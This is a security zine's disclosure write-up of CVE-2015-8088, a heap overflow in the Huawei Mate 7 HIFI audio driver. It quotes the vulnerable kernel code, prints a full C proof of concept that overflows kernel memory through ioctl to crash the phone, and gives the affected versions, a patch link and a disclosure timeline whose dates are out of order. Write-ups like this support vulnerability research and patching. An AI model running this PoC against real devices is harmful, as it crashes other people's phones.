Copy Link
Add to Bookmark
Report
d5_0x03_DNFWAH_cve-2015-8088-heap-overflow-analysis
|=-----------------------------------------------------------------=|
|=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #5 File 0x03 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------=[ CVE-2015-8088: Heap Overflow Vulnerability ]=----------=|
|=--------=[ in the HIFI Driver of Huawei Smart Phone ]=-----------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ By Pray3r ]=-------------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------------------------------------------------=|
|=--------------------=[ Update: Jan 20 2016 ]=--------------------=|
|=-----------------------------------------------------------------=|
--[ Content
0x00. Summary
0x01. Description
0x02. Impact
0x03. Affected
0x04. Patch
0x05. Timeline
0x06. Reference
--[ 0x00. Summary
/dev/hifi_misc module of Huawei Mate 7 smart phone has an input
check error, which allows the user-mode application to modify
kernel-mode memory data and maybe make system break down or
application elevate privilege.
--[ 0x01. Description
/dev/hifi_misc is an interface for a user-mode application to
interact with kernel module of hisi chipset. It is very likely that
hifi_misc is related with hifi audio features. Seen from
drivers/hisi/hifidsp/hifi_lpp.c, one could send messages to hifi's
kernel module by invoking ioctl() with HIFI_MISC_IOCTL_WRITE_PARAMS:
< drivers/hisi/hifidsp/hifi_lpp.c >
static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg)
{
[...]
switch(cmd) {
[...]
case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/
ret = hifi_dsp_write_param(arg);
break;
[...]
}
[...]
}
< / >
After ioctl(), hifi_dsp_write_param() is called with the parameter
directly passed from user-space:
< drivers/hisi/hifidsp/hifi_lpp.c >
int hifi_dsp_write_param(unsigned long arg)
{
int ret = OK;
phys_addr_t hifi_param_phy_addr = 0;
void* hifi_param_vir_addr = NULL;
CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;
struct misc_io_sync_param para;
[...]
if (copy_from_user(¶, (void*)arg, sizeof(struct misc_io_sync_param))) { // arg --> para
loge("copy_from_user fail.\n");
ret = ERROR;
goto error1;
}
[...]
hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc
if (NULL == hifi_param_vir_addr) {
loge("hifi_param_vir_addr ioremap fail\n");
ret = ERROR;
goto error2;
}
[...]
ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow
if ( ret != 0) {
loge("copy data to hifi error! ret = %d", ret);
}
[...]
}
< / >
Parameter arg is a struct pointer points to user-space memory.
After initialization of hifi_dsp_write_param(), user-space memory
pointed by arg is copied to para via copy_from_user(). Without any
verification, all the member variables of para is fully controlled
by user-space application. The struct of para:
struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};
Next, a memory copy is invoked as copy_from_user(hifi_param_vir_addr,
para.para_in, para.para_size_in)
1. hifi_param_vir_addr points to a kernel heap block allocated by
ioremap(), regarded as the address of destination memory block.
The size of the this heap block is SIZE_PARAM_PRIV (equals to 200
* 1024) bytes.
2. para.para_in is a pointer controlled by user-space, regarded as
the address of original memory block.
3. para.para_size is an unsigned int controlled by user-space,
regarded as the size of original memory block.
Since there are not any verification of para_size and para_in, if
para.para_size is larger than 200*1024, say 300*1024, a typical heap
overflow is triggered. The source code of our poc:
< poc.c >
/*
*
* HuaWei Mate7 hifi driver Poc
*
* Writen by pray3r<pray3r.z@gmail.com>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param)
struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};
int main(int arg, char **argv)
{
int fd;
void *in = malloc(300 * 1024);
void *out = malloc(100);
struct misc_io_sync_param poc;
poc.para_in = in;
poc.para_size_in = 300 * 1024;
poc.para_out = out;
poc.para_size_out = 100;
fd = open("/dev/hifi_misc", O_RDWR);
ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);
free(in);
free(out);
return 0;
}
< / >
Execute the crash_poc will break down Huawei Mate 7. Be aware that
the poc should be executed under system or audio privilege, since
/dev/hifi_misc is only writable to audio and system user.
--[ 0x02. Impact
The Kernel will panic if para.para_size being set by a large vaule,
the smart phone will break down because of heap overflow inside
kernel space, the problem is very hard to gain root. Because
get_vm_area_node() called ioremap()[1], the function allocates
a guard PAGE_SIZE page.
Thanks for Dan Rosenberg.[2]
--[ 0x03. Affected
Model : HUAWEI MT7-TL10
Version : MT7-TL10V100R001CHNC00B133
Android : 4.4.2
Kernel : 3.10.30-00015-g049a08f
Other models of Huawei smart phones with hisi chipset may also be
affected.
--[ 0x04. Patch
More information:
http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm
--[ 0x05. Timeline
Sep 28 2015 - Report sent to Huawei PSIRT
Sep 10 2015 - Huawei confirmed the security issues
Nov 04 2015 - Huawei fixed and public the security issues
Nov 09 2015 - Update CVE number
--[ 0x05. Reference
[1]. http://lxr.free-electrons.com/source/mm/vmalloc.c#L1351
[2]. http://seclists.org/oss-sec/2015/q4/532